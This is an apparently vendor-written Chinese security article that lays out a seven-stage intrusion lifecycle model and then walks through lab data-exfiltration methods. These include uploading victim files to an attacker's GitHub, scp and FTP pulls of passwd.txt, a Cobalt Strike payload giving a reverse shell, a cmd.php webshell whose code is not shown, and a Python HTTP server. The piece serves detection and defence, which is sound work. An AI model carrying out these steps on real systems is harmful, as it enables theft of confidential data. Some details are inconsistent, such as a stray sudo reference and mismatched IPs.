美创科技为了更好地进行入侵检测和防御，参照各种安全威胁框架和自身的实践与思考，提出了基于入侵生命周期的攻击管理模型，作为美创新一代安全架构的三大支柱之一。

入侵生命周期v1.0把入侵过程划分为7个阶段：探索发现、入侵和感染、探索感知、传播、持久化、攻击和利用、恢复。入侵生命周期v1.0同样以ATT&CK作为基本战术知识库，匹配到不同的入侵阶段。需要注意的是，并非所有的入侵都会经历这7个阶段，也没有绝对的线性次序。

1）探索发现

在这个阶段中，攻击者会先锁定攻击对象，然后利用某些技术手段，尽可能多地获取目标暴露出来的信息，如通过端口扫描、指纹探测等方式，发现敏感端口及版本信息，进而寻找攻击点，为下一步入侵做准备。

2）入侵和感染

在这个阶段，攻击者会根据“探索发现”阶段所发现的重要信息，来对目标暴露出的攻击面进行攻击尝试，在“探索发现”阶段收集到的信息越多，攻击对象所暴露的攻击面也就越多，攻击更易成功。

3）探索感知

攻击者在成功进入系统内部后，由于是首次进入所以会出现对内部环境不熟悉的情况，这时攻击者的动作一般会是对当前所处环境进行探索，摸清内部大致的网络结构，常常伴随着被入侵本机的敏感信息收集以及对内网大量的端口进行扫描，后续根据攻击者的目的进行下一步操作。

4）传播

在此阶段，攻击者根据上一阶段在内网探索感知收集到的信息，选择特定的攻击手法。如若发现内部是域环境，攻击者可能会尝试先攻破域控服务器，再传播其他机器。若是工作组环境，可能会利用收集到的端口和服务信息，选择特定漏洞进行批量扫描攻击，来尽可能多地继续获得其他计算机的控制权。

5）持久化

攻击者在对资产进行恶意操作后，为了能够减少再次连接的攻击成本，方便下次进入，会进行“留后门”的操作，常见的后门如：建立计划任务，定时连接远程服务器；设置开机启动程序，在每次开机时触发执行特定恶意程序；新建系统管理员账号等。这样便于攻击者下次快速登录并控制该系统。

6）攻击和利用

攻击者在此阶段便会开始对目标资产进行恶意操作，按照攻击者意愿，对能利用的数据进行窃取、利用；对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止攻击者进行到这一阶段。

7）恢复

攻击者在执行所有的攻击操作时，往往会在系统上留下大量的行为日志，因此在这一阶段，攻击者会对记录自身痕迹的所有日志进行处理，或删除或混淆，从而消灭证据，逃避追踪。

数据外传指将机密信息、私人信息或其他敏感信息发布到不安全的环境中。数据外传可能由意外引起，也可能是蓄意攻击的结果，在入侵生命周期视角中“数据外传”往往指代后者。因为敏感数据不断地通过 Internet 传输，因此数据外传导致的数据泄露是网络安全的主要问题。由于需要连续传输信息，攻击者可以在任何位置尝试对其选择的几乎任何个人或企业进行数据泄露攻击。

根据攻击者的入侵流程和操作手段，攻击者可以利用数据外传实现对被攻击目标的核心价值数据进行窃取，并可能用于后续的攻击分析、横向渗透甚至数据勒索等情况。而为了实现数据外传操作，往往需要攻击者具备一定的恶意传输渠道，此类渠道包含通过github、ssh服务、邮箱、ftp服务以及特定恶意shell渠道外传等，往往需要攻击者已具备一定系统控制权，具备一定数据操作能力，因故一般作用于入侵生命周期的攻击和利用阶段。

从攻击行为链条的上下文来看，针对sudo提权的行为链条输入输出如下。

针对数据外传，目前主要有以下几种常用手段：

1.攻击者使用自身的github账户进行数据泄露

(1) 攻击者进入Github首页，点击New repository新建一个项目。 

(2) 在受害者服务器中使用git config --glabal设置用户名和邮件。（用了这个参数，表示这台机器上所有的Git仓库都会使用这个配置，当然也可以对某个仓库指定不同的用户名和Email地址）

(3) 在受害者的机器上生成SSH密钥。

(4) 查看SSH密钥

(5) 使用SSH密钥在Github主页SSH and GPG keys中添加New Key

(6) 使用命令登录

ssh -v git@github.com
ssh -T git@github.com

(7) 将受害者桌面上的test文件夹中的内容上传到github

①　初始化一个git 仓库：git init

②　项目完成后执行git add . 添加要上传的文件

③　提交 git commit -m "描述信息"

④　git clone一个projest

⑤　git push上传

(8) 成功上传到github

2.通过ssh服务进行数据泄露

操作环境：攻击机ip:192.168.166.131 被攻击机ip:192.168.166.133

(1)例如：通过ssh连接被攻击机后，发现了111.txt文件

(2)使用如下命令，把被攻击机（192.168.166.133）上的/root/test/111.txt的文件下载到/root/ceshi（攻击器的本地目录）

scp root@192.168.166.133:/root/test/111.txt /root/ceshi

(3)查看本地目录/root/ceshi，文件已成功下载至本地

3.通过邮件进行数据泄露

4.通过ftp服务进行数据泄露

操作环境：攻击机ip:192.168.166.2 被攻击机ip:192.168.166.133

(1)在攻击机中使用ftp连接被攻击机（192.168.166.133）

(2)连接成功后，将被攻击机（192.168.166.133）中/home/mf/Desktop/passwd.txt文件传输至攻击机（192.168.166.2）本地

5.使用cobaltstrike获得shell后进行数据泄露

(1)cobaltstrike服务端（192.168.166.131）启动

(2)cobaltstrike客户端（192.168.166.2（即攻击机））启动

java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

(3)客户端与（192.168.230.2）服务端（192.168.166.131）成功连接

(4)创建有效负载格式为exe

(5)将有效负载artifact.exe传至被攻击机（192.168.166.132）获得反弹shell

(6)点击“Explore”——“File Browser”，查看被攻击机（192.168.166.132）上的文件

(7)查看到存在C:\Users\dell\Desktop\passwd.txt文件，点击“Download”进行下载

(8)点击“Sync Files”，将文件下载至攻击机（192.168.166.2）本地

6.使用webshell进行数据泄露

(1)创建一个cmd.php，具体代码如下:

(2)在受害者web页面中找到上传点，并上传

（3)利用cmd.php文件执行whoami命令。

(4)利用cmd.php文件查看文件，发现D:\a\passwd.txt可能为敏感文件，使用如下命令查看：

type C:\Users\dell\Desktop\1.txt

7.通过http服务进行数据泄露

操作环境：攻击机ip:192.168.166.2 被攻击机ip:192.168.166.131

(1)在被攻击机上执行如下命令，打开http服务

python -m SimpleHTTPServer 8000

(2)点击要下载的文件，进行下载